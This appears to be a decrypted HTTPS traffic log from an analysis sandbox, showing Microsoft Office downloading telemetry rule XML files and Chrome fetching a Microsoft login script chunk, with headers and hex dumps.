2024-12-05 21:17:20 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:20 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:20 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 7057cc02-501e-008f-16cc-459054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211720Z-1746fd949bd2cq7chC1EWRnx9g00000003000000000013fh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:20 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:20 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:20 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 2aa810bc-801e-008f-63c1-452c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211720Z-1746fd949bd6ztf6hC1EWRvq2s00000002v000000000rq02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:20 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49889	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:20 UTC	439	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:20 UTC	818	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:20 GMT Content-Type: application/x-javascript Content-Length: 35168 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 15 Aug 2024 17:52:55 GMT ETag: 0x8DCBD5317AEB807 x-ms-request-id: 3818e0f8-501e-0007-41af-339098000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211720Z-1746fd949bdw2rg8hC1EWR11u400000003kg000000007w6e x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:20 UTC	15566	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 c4 bd 6b 43 db 48 b2 30 fc fd f9 15 e0 9d 65 ac b5 00 df 30 18 70 58 06 92 49 76 33 93 9c 5c 66 cf 2e 30 59 59 96 6d 0d b2 65 24 99 4b 02 cf 6f 7f eb d2 97 6a c9 90 cc 9c 67 df 33 e7 6c 70 57 df aa ab ab ab ab aa ab 5b db 7f 59 ff 3f 6b 7f 59 db fc f6 ff d6 de 7f 38 7e f7 61 ed cd 8b b5 0f 2f 5f bd 3b 5d 7b 0b a9 7f ae fd fc e6 c3 ab 93 e7 df de 0e 76 8a ff fb 30 8d f3 b5 71 9c 44 6b f0 77 18 e4 d1 68 2d 9d af a5 d9 5a 3c 0f d3 6c 91 66 41 11 e5 6b 33 f8 37 8b 83 64 6d 9c a5 b3 b5 62 1a ad 2d b2 f4 b7 28 2c f2 b5 24 ce 0b a8 34 8c 92 f4 66 ad 0e cd 65 a3 b5 b7 41 56 dc ad bd 7a eb 6d 41 fb 11 b4 16 4f e2 39 d4 0e d3 c5 1d fc 9e 16 6b f3 b4 88 c3 68 2d 98 8f a8 b5 04 12 f3 3c 5a 5b ce 47 51 b6 76 33 8d c3 e9 da 4f 71 98 a5 79 Data Ascii: kCH0e0pXIv3\f.0YYme$Kojg3lpW[Y?kY8~a/_;]{v0qDkwh-Z<lfAk37dmb-(,$4feAVzmAO9kh-<Z[GQv3Oqy
2024-12-05 21:17:21 UTC	16384	IN	Data Raw: bd d6 09 fe 7b 8a 19 bb cd 17 f0 ef de f3 f6 f9 b2 b5 d7 7c 4e 0e b1 1f 36 e9 cf 0b fc b7 7d 4c 89 36 e5 f4 9a 94 e0 c7 fe 7a 3d 4e 40 b1 17 cf 5f e0 bf 2f 5e f4 37 e9 cf 0f 17 f7 e7 cb 53 30 14 ce e0 cf c9 0f a7 f8 ef c9 29 03 db 2f 08 78 8c 4d c1 9f 0e 43 3b 54 f4 74 b7 b3 49 7f 8e 09 fa 43 b7 49 65 9b 2d fc b7 cd 35 76 5f 5c 6c d3 a8 db 5f 23 2a cd c3 eb 78 7e f9 3a 18 46 09 d3 b1 83 c4 33 19 a7 51 5e c4 73 7a b4 81 b3 bb 4e f6 87 b8 48 22 ce d8 61 4a 77 7e bf 61 60 fd 83 c6 70 c7 3d 2a 24 65 3c ff 29 b8 05 65 8f 7e 92 28 a6 5f 03 b4 d0 e7 83 d6 01 a5 0e c3 03 62 c3 7e 07 64 3f 28 18 c0 de 59 28 e5 2a 95 c2 ad 0c bd 87 9b 9b 73 ef 0b 6e ef 4a 82 41 c5 98 db 07 16 9f 8d 40 26 e0 7b 08 5b f9 65 bc f8 90 5e 46 b8 dc fc 3e ee 76 a9 47 45 07 5c 78 b3 e5 cd Data Ascii: {\|N6}L6z=N@_/^7S0)/xMC;TtICIe-5v_\l_#x~:F3Q^szNH"aJw~a`p=$e<)e~(_b~d?(Y(*snJA@&{[e^F>vGE\x
2024-12-05 21:17:21 UTC	3218	IN	Data Raw: 01 95 50 8c 0f 4b 38 5d 1d 96 55 52 b0 ee 65 51 a5 80 82 a6 5f a3 d8 a6 8c a4 8c 2d e9 61 bf de 76 31 e7 b5 b7 35 ec ae ac a0 fd 7a 5a e0 51 85 64 9c 71 86 da 05 75 05 e2 2f c1 e3 1b 2e e0 ac 2b f3 db b5 61 3f 28 3c f2 32 68 91 01 35 d9 bf 91 79 ee 76 ca 31 5d 87 e6 ce b3 68 e5 9d 9d 2e 03 be 71 96 2f 47 c1 de 90 b1 6d de b2 47 e1 bd a3 cd 0e 87 4e c4 50 4c ad 76 42 79 13 eb d1 84 ba 89 a8 ec 51 f8 46 ef 45 5e 59 6d ae 8d 02 82 52 f5 51 9c a3 01 35 fe 52 6d 5e eb b5 46 a5 5a 61 3a 08 21 bc 5e 6d 35 58 78 bd 56 2c 36 30 9c 5e 86 cf 75 f6 7b 81 77 02 f8 55 8d 84 b0 cc 45 ca d8 44 7f 89 74 f2 8a 88 52 95 62 2a a5 20 69 a9 dc a0 a0 52 ad a5 a2 81 21 b3 5b 2a a1 61 96 92 ca fe c5 54 63 90 d5 37 2a 4e bc 5d 53 05 b2 91 97 6a d4 5c e7 b2 d7 69 fe 72 6e 06 bd 93 Data Ascii: PK8]UReQ_-av15zZQdqu/.+a?(<2h5yv1]h.q/GmGNPLvByQFE^YmRQ5Rm^FZa:!^m5XxV,60^u{wUEDtRb* iR![aTc7N]Sj\irn

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:22 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 26f79bf1-901e-0083-7ec4-45bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211722Z-1746fd949bd7wvgbhC1EWR0rgs00000003cg0000000042ph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:22 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:22 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 4879dc54-201e-0096-5ac3-45ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211722Z-1746fd949bd6ztf6hC1EWRvq2s00000002w000000000k9qt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:22 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:22 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: c77759f4-c01e-000b-41c1-46e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211722Z-1746fd949bd77mkmhC1EWR5efc00000003n0000000001hp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:22 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:22 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:22 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 0312aba8-e01e-0085-12cc-45c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211722Z-1746fd949bd54zxghC1EWRzre400000003d0000000011625 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:22 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:22 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:23 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 85a1d3f6-901e-005b-3ecd-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211722Z-1746fd949bd9x4mhhC1EWRb76n00000003bg000000007fsg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:24 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 72953a3b-301e-0000-41cd-45eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211724Z-1746fd949bdzd2qvhC1EWRcygw000000032g00000000480y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:24 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:24 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 859f66ca-901e-005b-0ccc-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211724Z-1746fd949bdzd2qvhC1EWRcygw00000002xg00000000tcsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 